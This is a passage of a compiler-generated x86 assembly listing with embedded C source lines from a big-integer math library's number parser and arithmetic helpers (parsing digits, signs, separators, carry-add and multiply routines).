$LN12@ParseAsDec:
; 226 : if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
; 227 : ParseAsIntegerPartNumberSequence(&state);
; 228 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
; 229 : {
; 230 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
; 231 : ParseAsFractionPartNumberSequence(&state);
; 232 : }
; 233 : }
; 234 : else if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
movzx eax, WORD PTR [esi]
cmp eax, 48 ; 00000030H
jb $LN16@ParseAsDec
cmp eax, 57 ; 00000039H
ja $LN16@ParseAsDec
; 235 : {
; 236 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
; 237 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
mov esi, DWORD PTR _state$[ebp]
add esp, 4
test bl, 32 ; 00000020H
je SHORT $LN18@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN18@ParseAsDec
; 238 : {
; 239 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
; 240 : ParseAsFractionPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN18@ParseAsDec:
; 241 : }
; 242 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
test bl, 8
je $LN27@ParseAsDec
lea eax, DWORD PTR _state$[ebp+12]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
jne SHORT $LN79@ParseAsDec
; 243 : {
; 244 : state.SIGN = 1;
; 245 : state.IN_PTR += state.POSITIVE_SIGN_LENGTH;
; 246 : }
; 247 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.NEGATIVE_SIGN))
lea eax, DWORD PTR _state$[ebp+24]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je $LN27@ParseAsDec
; 248 : {
; 249 : state.SIGN = -1;
; 250 : state.IN_PTR += state.NEGATIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+32]
mov DWORD PTR _state$[ebp+8], -1
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
; 251 : }
; 252 : else
; 253 : {
; 254 : }
; 255 : }
jmp $LN27@ParseAsDec
$LN16@ParseAsDec:
; 256 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
test bl, 32 ; 00000020H
je $LN23@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN23@ParseAsDec
; 257 : {
; 258 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
; 259 : ParseAsFractionPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
add esp, 4
; 260 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
test bl, 8
je $LN76@ParseAsDec
mov esi, DWORD PTR _state$[ebp]
lea eax, DWORD PTR _state$[ebp+12]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN25@ParseAsDec
$LN79@ParseAsDec:
; 269 : }
; 270 : else
; 271 : {
; 272 : }
; 273 : }
; 274 : else
; 275 : return (0);
; 276 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
mov eax, DWORD PTR _state$[ebp+20]
mov DWORD PTR _state$[ebp+8], 1
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
jmp $LN27@ParseAsDec
$LN25@ParseAsDec:
; 261 : {
; 262 : state.SIGN = 1;
; 263 : state.IN_PTR += state.POSITIVE_SIGN_LENGTH;
; 264 : }
; 265 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.NEGATIVE_SIGN))
lea eax, DWORD PTR _state$[ebp+24]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je $LN27@ParseAsDec
; 266 : {
; 267 : state.SIGN = -1;
; 268 : state.IN_PTR += state.NEGATIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+32]
mov DWORD PTR _state$[ebp+8], -1
; 269 : }
; 270 : else
; 271 : {
; 272 : }
; 273 : }
; 274 : else
; 275 : return (0);
; 276 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
jmp $LN27@ParseAsDec
$LN23@ParseAsDec:
; 282 : return (1);
; 283 : }
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_ParseAsDecimalNumberString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsFractionPartNumberSequence
_TEXT SEGMENT
_state$ = 8 ; size = 4
_ParseAsFractionPartNumberSequence PROC ; COMDAT
; 162 : {
push ebp
mov ebp, esp
mov eax, DWORD PTR _state$[ebp]
$LN15@ParseAsFra:
; 163 : for (;;)
; 164 : {
; 165 : if (*state->IN_PTR >= L'0' && *state->IN_PTR <= L'9')
mov ecx, DWORD PTR [eax]
movzx edx, WORD PTR [ecx]
cmp edx, 48 ; 00000030H
jb SHORT $LN5@ParseAsFra
cmp edx, 57 ; 00000039H
ja SHORT $LN5@ParseAsFra
; 166 : {
; 167 : *state->FRAC_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+76]
mov WORD PTR [ecx], dx
; 168 : state->FRAC_PART_PTR += 1;
add DWORD PTR [eax+76], 2
; 169 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 170 : }
jmp SHORT $LN15@ParseAsFra
$LN5@ParseAsFra:
; 171 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'a' && *state->IN_PTR <= L'f')
test DWORD PTR [eax+4], 512 ; 00000200H
je SHORT $LN9@ParseAsFra
cmp edx, 97 ; 00000061H
jb SHORT $LN7@ParseAsFra
cmp edx, 102 ; 00000066H
ja SHORT $LN7@ParseAsFra
; 172 : {
; 173 : *state->FRAC_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+76]
mov WORD PTR [ecx], dx
; 174 : state->FRAC_PART_PTR += 1;
add DWORD PTR [eax+76], 2
; 175 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 176 : }
jmp SHORT $LN15@ParseAsFra
$LN7@ParseAsFra:
; 177 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'A' && *state->IN_PTR <= L'F')
cmp edx, 65 ; 00000041H
jb SHORT $LN9@ParseAsFra
cmp edx, 70 ; 00000046H
ja SHORT $LN9@ParseAsFra
; 178 : {
; 179 : *state->FRAC_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+76]
mov WORD PTR [ecx], dx
; 180 : state->FRAC_PART_PTR += 1;
add DWORD PTR [eax+76], 2
; 181 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 182 : }
; 183 : else
; 184 : break;
; 185 : }
jmp SHORT $LN15@ParseAsFra
$LN9@ParseAsFra:
; 186 : }
pop ebp
ret 0
_ParseAsFractionPartNumberSequence ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsIntegerPartNumberSequence
_TEXT SEGMENT
_state$ = 8 ; size = 4
_ParseAsIntegerPartNumberSequence PROC ; COMDAT
; 131 : {
push ebp
mov ebp, esp
mov eax, DWORD PTR _state$[ebp]
push ebx
push esi
push edi
$LN42@ParseAsInt:
; 132 : for (;;)
; 133 : {
; 134 : if (*state->IN_PTR >= L'0' && *state->IN_PTR <= L'9')
mov esi, DWORD PTR [eax]
movzx edx, WORD PTR [esi]
cmp edx, 48 ; 00000030H
jb SHORT $LN5@ParseAsInt
cmp edx, 57 ; 00000039H
ja SHORT $LN5@ParseAsInt
; 135 : {
; 136 : *state->INT_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+72]
mov WORD PTR [ecx], dx
; 137 : state->INT_PART_PTR += 1;
add DWORD PTR [eax+72], 2
; 138 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 139 : }
jmp SHORT $LN42@ParseAsInt
$LN5@ParseAsInt:
; 140 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'a' && *state->IN_PTR <= L'f')
mov ecx, DWORD PTR [eax+4]
test ecx, 512 ; 00000200H
je SHORT $LN9@ParseAsInt
cmp edx, 97 ; 00000061H
jb SHORT $LN7@ParseAsInt
cmp edx, 102 ; 00000066H
ja SHORT $LN7@ParseAsInt
; 141 : {
; 142 : *state->INT_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+72]
mov WORD PTR [ecx], dx
; 143 : state->INT_PART_PTR += 1;
add DWORD PTR [eax+72], 2
; 144 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 145 : }
jmp SHORT $LN42@ParseAsInt
$LN7@ParseAsInt:
; 146 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'A' && *state->IN_PTR <= L'F')
cmp edx, 65 ; 00000041H
jb SHORT $LN9@ParseAsInt
cmp edx, 70 ; 00000046H
ja SHORT $LN9@ParseAsInt
; 147 : {
; 148 : *state->INT_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+72]
mov WORD PTR [ecx], dx
; 149 : state->INT_PART_PTR += 1;
add DWORD PTR [eax+72], 2
; 150 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 151 : }
jmp SHORT $LN42@ParseAsInt
$LN9@ParseAsInt:
; 152 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && StartsWith(state->IN_PTR, state->GROUP_SEPARATOR))
test cl, 64 ; 00000040H
je SHORT $LN30@ParseAsInt
; 63 : while (*b != L'\0')
movzx ecx, WORD PTR [eax+48]
; 152 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && StartsWith(state->IN_PTR, state->GROUP_SEPARATOR))
lea edx, DWORD PTR [eax+48]
; 63 : while (*b != L'\0')
test cx, cx
je SHORT $LN18@ParseAsInt
mov edi, ecx
sub esi, edx
npad 7
$LL17@ParseAsInt:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [esi+edx], di
jne SHORT $LN36@ParseAsInt
; 66 : return (0);
; 67 : ++a;
; 68 : ++b;
movzx ecx, WORD PTR [edx+2]
add edx, 2
mov edi, ecx
test cx, cx
jne SHORT $LL17@ParseAsInt
$LN18@ParseAsInt:
; 153 : state->IN_PTR += state->GROUP_SEPARATOR_LENGTH;
mov ecx, DWORD PTR [eax+56]
add ecx, ecx
add DWORD PTR [eax], ecx
; 156 : else
; 157 : break;
; 158 : }
jmp $LN42@ParseAsInt
$LN36@ParseAsInt:
; 154 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && state->SECONDARY_GROUP_SEPARATOR_LENGTH > 0 && StartsWith(state->IN_PTR, state->SECONDARY_GROUP_SEPARATOR))
mov ebx, DWORD PTR [eax+68]
test ebx, ebx
jle SHORT $LN30@ParseAsInt
; 63 : while (*b != L'\0')
movzx ecx, WORD PTR [eax+60]
; 154 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && state->SECONDARY_GROUP_SEPARATOR_LENGTH > 0 && StartsWith(state->IN_PTR, state->SECONDARY_GROUP_SEPARATOR))
lea edx, DWORD PTR [eax+60]
; 63 : while (*b != L'\0')
test cx, cx
je SHORT $LN23@ParseAsInt
mov edi, DWORD PTR [eax]
mov esi, ecx
sub edi, edx
npad 7
$LL22@ParseAsInt:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [edi+edx], si
jne SHORT $LN30@ParseAsInt
; 66 : return (0);
; 67 : ++a;
; 68 : ++b;
movzx ecx, WORD PTR [edx+2]
add edx, 2
mov esi, ecx
test cx, cx
jne SHORT $LL22@ParseAsInt
$LN23@ParseAsInt:
; 155 : state->IN_PTR += state->SECONDARY_GROUP_SEPARATOR_LENGTH;
lea ecx, DWORD PTR [ebx+ebx]
add DWORD PTR [eax], ecx
jmp $LN42@ParseAsInt
$LN30@ParseAsInt:
pop edi
; 159 : }
pop esi
pop ebx
pop ebp
ret 0
_ParseAsIntegerPartNumberSequence ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _SkipSpace
_TEXT SEGMENT
_state$ = 8 ; size = 4
_SkipSpace PROC ; COMDAT
; 110 : {
push ebp
mov ebp, esp
; 111 : for (;;)
; 112 : {
; 113 : switch (*state->IN_PTR)
mov ecx, DWORD PTR _state$[ebp]
mov eax, DWORD PTR [ecx]
movzx eax, WORD PTR [eax]
cmp eax, 9
jb SHORT $LN11@SkipSpace
$LL2@SkipSpace:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN7@SkipSpace
cmp eax, 32 ; 00000020H
jne SHORT $LN11@SkipSpace
$LN7@SkipSpace:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add DWORD PTR [ecx], 2
mov eax, DWORD PTR [ecx]
movzx eax, WORD PTR [eax]
cmp eax, 9
jae SHORT $LL2@SkipSpace
$LN11@SkipSpace:
; 127 : }
; 128 : }
pop ebp
ret 0
_SkipSpace ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _FinalizeParserState
_TEXT SEGMENT
_state$ = 8 ; size = 4
_FinalizeParserState PROC ; COMDAT
; 102 : {
push ebp
mov ebp, esp
; 103 : *state->INT_PART_PTR = L'\0';
mov ecx, DWORD PTR _state$[ebp]
xor edx, edx
mov eax, DWORD PTR [ecx+72]
mov WORD PTR [eax], dx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR [ecx+4], 32 ; 00000020H
je SHORT $LN2@FinalizePa
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR [ecx+76]
xor ecx, ecx
mov WORD PTR [eax], cx
$LN2@FinalizePa:
; 106 : }
pop ebp
ret 0
_FinalizeParserState ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _InitializeParserState
_TEXT SEGMENT
_state$ = 8 ; size = 4
_in_ptr$ = 12 ; size = 4
_number_styles$ = 16 ; size = 4
_format_option$ = 20 ; size = 4
_int_part_buf$ = 24 ; size = 4
_frac_part_buf$ = 28 ; size = 4
_InitializeParserState PROC ; COMDAT
; 74 : {
push ebp
mov ebp, esp
; 75 : state->IN_PTR = in_ptr;
mov ecx, DWORD PTR _state$[ebp]
mov eax, DWORD PTR _in_ptr$[ebp]
push ebx
; 76 : state->NUMBER_STYLES = number_styles;
; 77 : state->SIGN = 0;
; 78 : lstrcpyW(state->POSITIVE_SIGN, format_option->PositiveSign);
mov ebx, DWORD PTR __imp__lstrcpyW@8
mov DWORD PTR [ecx], eax
mov eax, DWORD PTR _number_styles$[ebp]
push esi
mov DWORD PTR [ecx+4], eax
lea esi, DWORD PTR [ecx+12]
mov eax, DWORD PTR _format_option$[ebp]
push edi
add eax, 16 ; 00000010H
mov DWORD PTR [ecx+8], 0
push eax
push esi
call ebx
; 79 : state->POSITIVE_SIGN_LENGTH = lstrlenW(state->POSITIVE_SIGN);
mov edi, DWORD PTR __imp__lstrlenW@4
push esi
call edi
mov esi, DWORD PTR _state$[ebp]
mov DWORD PTR [esi+20], eax
; 80 : lstrcpyW(state->NEGATIVE_SIGN, format_option->NegativeSign);
add esi, 24 ; 00000018H
mov eax, DWORD PTR _format_option$[ebp]
add eax, 22 ; 00000016H
push eax
push esi
call ebx
; 81 : state->NEGATIVE_SIGN_LENGTH = lstrlenW(state->NEGATIVE_SIGN);
push esi
call edi
mov ecx, DWORD PTR _state$[ebp]
mov DWORD PTR [ecx+32], eax
; 82 : lstrcpyW(state->DECIMAL_SEPARATOR, format_option->DecimalSeparator);
lea esi, DWORD PTR [ecx+36]
mov eax, DWORD PTR _format_option$[ebp]
add eax, 10 ; 0000000aH
push eax
push esi
call ebx
; 83 : state->DECIMAL_SEPARATOR_LENGTH = lstrlenW(state->DECIMAL_SEPARATOR);
push esi
call edi
mov ecx, DWORD PTR _state$[ebp]
mov DWORD PTR [ecx+44], eax
; 84 : lstrcpyW(state->GROUP_SEPARATOR, format_option->GroupSeparator);
lea esi, DWORD PTR [ecx+48]
mov eax, DWORD PTR _format_option$[ebp]
add eax, 4
push eax
push esi
call ebx
; 85 : state->GROUP_SEPARATOR_LENGTH = lstrlenW(state->GROUP_SEPARATOR);
push esi
call edi
mov ecx, DWORD PTR _state$[ebp]
; 86 : if (state->GROUP_SEPARATOR[0] == L'\xa0' && state->GROUP_SEPARATOR[1] == L'\0')
pop edi
mov DWORD PTR [ecx+56], eax
mov eax, 160 ; 000000a0H
cmp WORD PTR [esi], ax
pop esi
pop ebx
jne SHORT $LN2@Initialize
cmp WORD PTR [ecx+50], 0
jne SHORT $LN2@Initialize
; 87 : {
; 88 : state->SECONDARY_GROUP_SEPARATOR[0] = L'\x20';
; 89 : state->SECONDARY_GROUP_SEPARATOR[1] = L'\0';
xor eax, eax
mov WORD PTR [ecx+62], ax
; 90 : state->SECONDARY_GROUP_SEPARATOR_LENGTH = 1;
mov eax, 1
lea edx, DWORD PTR [eax+31]
; 91 : }
jmp SHORT $LN3@Initialize
$LN2@Initialize:
; 92 : else
; 93 : {
; 94 : state->SECONDARY_GROUP_SEPARATOR[0] = L'\0';
; 95 : state->SECONDARY_GROUP_SEPARATOR_LENGTH = 0;
xor eax, eax
xor edx, edx
$LN3@Initialize:
; 96 : }
; 97 : state->INT_PART_PTR = int_part_buf;
mov WORD PTR [ecx+60], dx
mov DWORD PTR [ecx+68], eax
mov eax, DWORD PTR _int_part_buf$[ebp]
mov DWORD PTR [ecx+72], eax
; 98 : state->FRAC_PART_PTR = frac_part_buf;
mov eax, DWORD PTR _frac_part_buf$[ebp]
mov DWORD PTR [ecx+76], eax
; 99 : }
pop ebp
ret 0
_InitializeParserState ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _StartsWith
_TEXT SEGMENT
_a$ = 8 ; size = 4
_b$ = 12 ; size = 4
_StartsWith PROC ; COMDAT
; 62 : {
push ebp
mov ebp, esp
; 63 : while (*b != L'\0')
mov eax, DWORD PTR _b$[ebp]
push esi
movzx ecx, WORD PTR [eax]
test cx, cx
je SHORT $LN3@StartsWith
mov esi, DWORD PTR _a$[ebp]
mov edx, ecx
sub esi, eax
$LL2@StartsWith:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [esi+eax], dx
jne SHORT $LN7@StartsWith
; 67 : ++a;
; 68 : ++b;
movzx ecx, WORD PTR [eax+2]
add eax, 2
mov edx, ecx
test cx, cx
jne SHORT $LL2@StartsWith
$LN3@StartsWith:
; 69 : }
; 70 : return (1);
mov eax, 1
pop esi
; 71 : }
pop ebp
ret 0
$LN7@StartsWith:
; 66 : return (0);
xor eax, eax
pop esi
; 71 : }
pop ebp
ret 0
_StartsWith ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __MULTIPLYX_UNIT
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
_w_hi$ = 16 ; size = 4
__MULTIPLYX_UNIT PROC ; COMDAT
; 335 : {
push ebp
mov ebp, esp
; 336 : #ifdef _MSC_VER
; 337 : #ifdef _M_IX86
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, DWORD PTR _u$[ebp]
mul DWORD PTR _v$[ebp]
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov ecx, DWORD PTR _w_hi$[ebp]
mov DWORD PTR [ecx], edx
; 339 : #elif defined(_M_X64)
; 340 : return (_mulx_u64(u, v, w_hi));
; 341 : #else
; 342 : #error unknown platform
; 343 : #endif
; 344 : #elif defined(__GNUC__)
; 345 : #ifdef _M_IX86
; 346 : _UINT32_T w_lo;
; 347 : __asm__("mulxl %3, %0, %1" : "=r"(w_lo), "=r"(*w_hi), "+d"(u) : "rm"(v));
; 348 : return (w_lo);
; 349 : #elif defined(_M_X64)
; 350 : _UINT64_T w_lo;
; 351 : __asm__("mulxq %3, %0, %1" : "=r"(w_lo), "=r"(*w_hi), "+d"(u) : "rm"(v));
; 352 : return (w_lo);
; 353 : #else
; 354 : #error unknown platform
; 355 : #endif
; 356 : #else
; 357 : #error unknown compiler
; 358 : #endif
; 359 : }
pop ebp
ret 0
__MULTIPLYX_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __MULTIPLY_UNIT
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
_w_hi$ = 16 ; size = 4
__MULTIPLY_UNIT PROC ; COMDAT
; 297 : {
push ebp
mov ebp, esp
; 298 : #ifdef _M_IX86
; 299 : #ifdef _MSC_VER
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, DWORD PTR _u$[ebp]
mul DWORD PTR _v$[ebp]
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov ecx, DWORD PTR _w_hi$[ebp]
mov DWORD PTR [ecx], edx
; 301 : #elif defined(__GNUC__)
; 302 : _UINT32_T w_lo;
; 303 : __asm__("mull %3": "=a"(w_lo), "=d"(*w_hi) : "0"(u), "rm"(v));
; 304 : return (w_lo);
; 305 : #else
; 306 : #error unknown compiler
; 307 : #endif
; 308 : #elif defined(_M_X64)
; 309 : return (_umul128(u, v, w_hi));
; 310 : #else
; 311 : #error unknown platform
; 312 : #endif
; 313 : }
pop ebp
ret 0
__MULTIPLY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __ADDX_UNIT
_TEXT SEGMENT
_carry$ = 8 ; size = 1
_u$ = 12 ; size = 4
_v$ = 16 ; size = 4
_w$ = 20 ; size = 4
__ADDX_UNIT PROC ; COMDAT
; 241 : {
push ebp
mov ebp, esp
; 242 : #ifdef _M_IX86
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov al, BYTE PTR _carry$[ebp]
mov edx, DWORD PTR _w$[ebp]
add al, 255 ; 000000ffH
mov ecx, DWORD PTR _u$[ebp]
adcx ecx, DWORD PTR _v$[ebp]
setb al
mov DWORD PTR [edx], ecx
; 244 : #elif defined(_M_X64)
; 245 : return (_addcarryx_u64(carry, u, v, w));
; 246 : #else
; 247 : #error unknown platform
; 248 : #endif
; 249 : }
pop ebp
ret 0
__ADDX_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __ADD_UNIT
_TEXT SEGMENT
_carry$ = 8 ; size = 1
_u$ = 12 ; size = 4
_v$ = 16 ; size = 4
_w$ = 20 ; size = 4
__ADD_UNIT PROC ; COMDAT
; 213 : {
push ebp
mov ebp, esp
; 214 : #ifdef _M_IX86
; 215 : return (_addcarry_u32(carry, u, v, w));
mov al, BYTE PTR _carry$[ebp]
mov edx, DWORD PTR _w$[ebp]
add al, 255 ; 000000ffH
mov ecx, DWORD PTR _u$[ebp]
adc ecx, DWORD PTR _v$[ebp]
setb al
mov DWORD PTR [edx], ecx
; 216 : #elif defined(_M_X64)
; 217 : return (_addcarry_u64(carry, u, v, w));
; 218 : #else
; 219 : #error unknown platform
; 220 : #endif
; 221 : }
pop ebp
ret 0
__ADD_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __DIVIDE_CEILING_SIZE
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
__DIVIDE_CEILING_SIZE PROC ; COMDAT
; 198 : {
push ebp
mov ebp, esp
; 199 : return ((u + v - 1) / v);
mov eax, DWORD PTR _u$[ebp]
xor edx, edx
dec eax
add eax, DWORD PTR _v$[ebp]
div DWORD PTR _v$[ebp]
; 200 : }
pop ebp
ret 0
__DIVIDE_CEILING_SIZE ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __DIVIDE_CEILING_UNIT
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
__DIVIDE_CEILING_UNIT PROC ; COMDAT
; 193 : {
push ebp
mov ebp, esp
; 194 : return ((u + v - 1) / v);
mov eax, DWORD PTR _u$[ebp]
xor edx, edx
dec eax
add eax, DWORD PTR _v$[ebp]
div DWORD PTR _v$[ebp]
; 195 : }
pop ebp
ret 0
__DIVIDE_CEILING_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __FROMDWORDTOWORD
_TEXT SEGMENT
_value$ = 8 ; size = 8
_result_high$ = 16 ; size = 4
__FROMDWORDTOWORD PROC ; COMDAT
; 182 : {
push ebp
mov ebp, esp
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov eax, DWORD PTR _result_high$[ebp]
mov ecx, DWORD PTR _value$[ebp+4]
mov DWORD PTR [eax], ecx
; 184 : return ((_UINT32_T)value);
mov eax, DWORD PTR _value$[ebp]
; 185 : }
pop ebp
ret 0
__FROMDWORDTOWORD ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __COPY_MEMORY_UNIT
_TEXT SEGMENT
_d$ = 8 ; size = 4
_s$ = 12 ; size = 4
_count$ = 16 ; size = 4
__COPY_MEMORY_UNIT PROC ; COMDAT
; 66 : {
push ebp
mov ebp, esp
; 67 : #ifdef _M_IX86
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov ecx, DWORD PTR _count$[ebp]
push esi
mov esi, DWORD PTR _s$[ebp]
push edi
mov edi, DWORD PTR _d$[ebp]
rep movsd
pop edi
pop esi
; 69 : #elif defined(_M_X64)
; 70 : __movsq(d, s, count);
; 71 : #else
; 72 : #error unknown platform
; 73 : #endif
; 74 : }
pop ebp
ret 0
__COPY_MEMORY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _AddToMULTI64Counter
_TEXT SEGMENT
_value$ = 8 ; size = 4
_AddToMULTI64Counter PROC ; COMDAT
; 357 : {
push ebp
mov ebp, esp
; 358 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI64, value);
mov eax, DWORD PTR _value$[ebp]
mov ecx, OFFSET _statistics_info
lock xadd DWORD PTR [ecx], eax
; 359 : }
pop ebp
ret 0
_AddToMULTI64Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _AddToMULTI32Counter
_TEXT SEGMENT
_value$ = 8 ; size = 4
_AddToMULTI32Counter PROC ; COMDAT
; 351 : {
push ebp
mov ebp, esp
